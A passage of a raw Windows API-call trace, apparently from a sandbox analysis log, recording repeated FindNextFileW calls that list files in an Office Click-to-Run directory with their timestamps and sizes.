ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="AP80F4~1.DLL")) returned 1 [0136.145] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb979f700, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x27c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApiClient.dll", cAlternateFileName="APICLI~1.DLL")) returned 1 [0136.145] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9bc01200, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0xa02d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVCatalog.dll", cAlternateFileName="APPVCA~1.DLL")) returned 1 [0136.145] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x1f5ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="appvcleaner.exe", cAlternateFileName="APPVCL~1.EXE")) returned 1 [0136.145] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a330a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a330a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x4b0d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVFileSystemMetadata.dll", cAlternateFileName="APPVFI~1.DLL")) returned 1 [0136.146] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a330a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a330a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x2052d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIntegration.dll", cAlternateFileName="APPVIN~1.DLL")) returned 1 [0136.146] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a59305, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a59305, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x726d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvApi.dll", cAlternateFileName="APPVIS~1.DLL")) returned 1 [0136.146] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe1b7300, ftLastWriteTime.dwHighDateTime=0x1d0d7a5, nFileSizeHigh=0x0, nFileSizeLow=0x60ea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvStream32.dll", cAlternateFileName="APPVIS~2.DLL")) returned 1 [0136.146] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb5e67000, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x73aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvStream64.dll", cAlternateFileName="APPVIS~3.DLL")) returned 1 [0136.146] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x336d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvStreamingManager.dll", cAlternateFileName="APPVIS~4.DLL")) returned 1 [0136.146] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80aa57b9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80aa57b9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x1566d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvSubsystemController.dll", cAlternateFileName="AP213A~1.DLL")) returned 1 [0136.146] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80aa57b9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80aa57b9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x18d60800, ftLastWriteTime.dwHighDateTime=0x1d0d7a5, nFileSizeHigh=0x0, nFileSizeLow=0x1ae0a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvSubsystems32.dll", cAlternateFileName="AP3342~1.DLL")) returned 1 [0136.146] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80acba0b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80acba0b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbbdc5100, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x22e0a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvSubsystems64.dll", cAlternateFileName="AP4400~1.DLL")) returned 1 [0136.147] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80af1c6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80af1c6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x8a8d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvVirtualization.dll", cAlternateFileName="AP485B~1.DLL")) returned 1 [0136.147] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80af1c6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80af1c6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x12cad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVManifest.dll", cAlternateFileName="APPVMA~1.DLL")) returned 1 [0136.147] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0xe76d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVOrchestration.dll", cAlternateFileName="APPVOR~1.DLL")) returned 1 [0136.147] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x13c4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVPolicy.dll", cAlternateFileName="APPVPO~1.DLL")) returned 1 [0136.147] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9e226c00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x7d0d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVScripting.dll", cAlternateFileName="APPVSC~1.DLL")) returned 1 [0136.147] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9e226c00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x406d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVShNotify.exe", cAlternateFileName="APPVSH~1.EXE")) returned 1 [0136.147] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x14115400, ftLastWriteTime.dwHighDateTime=0x1d0d7a5, nFileSizeHigh=0x0, nFileSizeLow=0xc84c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2R32.dll", cAlternateFileName="")) returned 1 [0136.147] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb4b54300, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x127260, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2R64.dll", cAlternateFileName="")) returned 1 [0136.147] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8ee04f00, ftLastWriteTime.dwHighDateTime=0x1d0d67f, nFileSizeHigh=0x0, nFileSizeLow=0x1028, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RHeartbeatConfig.xml", cAlternateFileName="C2RHEA~1.XML")) returned 1 [0136.147] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb3841600, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0xdc4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RUI.en-us.dll", cAlternateFileName="C2RUIE~1.DLL")) returned 1 [0136.147] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x514a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1 [0136.148] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbd783a00, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="i640.hash", cAlternateFileName="I640~1.HAS")) returned 1 [0136.148] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbc470d00, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="i641033.hash", cAlternateFileName="I64103~1.HAS")) returned 1 [0136.148] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x10ae80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IntegratedOffice.exe", cAlternateFileName="INTEGR~1.EXE")) returned 1 [0136.148] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b8a5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b8a5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xa2e72000, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x578d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MavInject32.exe", cAlternateFileName="MAVINJ~1.EXE")) returned 1 [0136.148] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b8a5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b8a5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8745c00, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x2ffa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso20win32client.dll", cAlternateFileName="MSO20W~1.DLL")) returned 1 [0136.148] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bb0837, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80bb0837, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xad6b600, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x475e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso30win32client.dll", cAlternateFileName="MSO30W~1.DLL")) returned 1 [0136.148] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bfccf1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80bfccf1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x307ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso40uires.dll", cAlternateFileName="MSO40U~1.DLL")) returned 1 [0136.148] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c22f4a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80c22f4a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x10cc9700, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x8e6060, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso40uiwin32client.dll", cAlternateFileName="MSO40U~2.DLL")) returned 1 [0136.148] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x11fdc400, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0xee60, dwReserved0=0x0, dwReserved1=0x0, cFileName="msointl30.en-us.dll", cAlternateFileName="MSOINT~1.DLL")) returned 1 [0136.148] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c9565a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80c9565a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1909ea00, ftLastWriteTime.dwHighDateTime=0x1d098bf, nFileSizeHigh=0x0, nFileSizeLow=0xa12a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0136.149] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x9b0a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0136.149] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b6c4400, ftLastWriteTime.dwHighDateTime=0x1d098bf, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0136.149] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x5b1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeC2RClient.exe", cAlternateFileName="OFFICE~1.EXE")) returned 1 [0136.149] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d07d85, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d07d85, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0xf34d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeC2RCom.dll", cAlternateFileName="OFFICE~1.DLL")) returned 1 [0136.149] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d07d85, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d07d85, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbd0d7e00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x2a5e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeClickToRun.exe", cAlternateFileName="OFFICE~2.EXE")) returned 1 [0136.149] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3f141b52, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x12ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeUpdateSchedule.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0136.149] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3fa7ec8f, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x1162, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceWatcherSchedule.xml", cAlternateFileName="SERVIC~1.XML")) returned 1 [0136.149] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x101458, dwReserved0=0x0, dwReserved1=0x0, cFileName="StreamServer.dll", cAlternateFileName="STREAM~1.DLL")) returned 1 [0136.149] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0xefec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ucrtbase.dll", cAlternateFileName="")) returned 1 [0136.150] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d7a486, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d7a486, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x5f4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1 [0136.150] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d7a486, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d7a486, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0136.150] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d7a486, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d7a486, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, 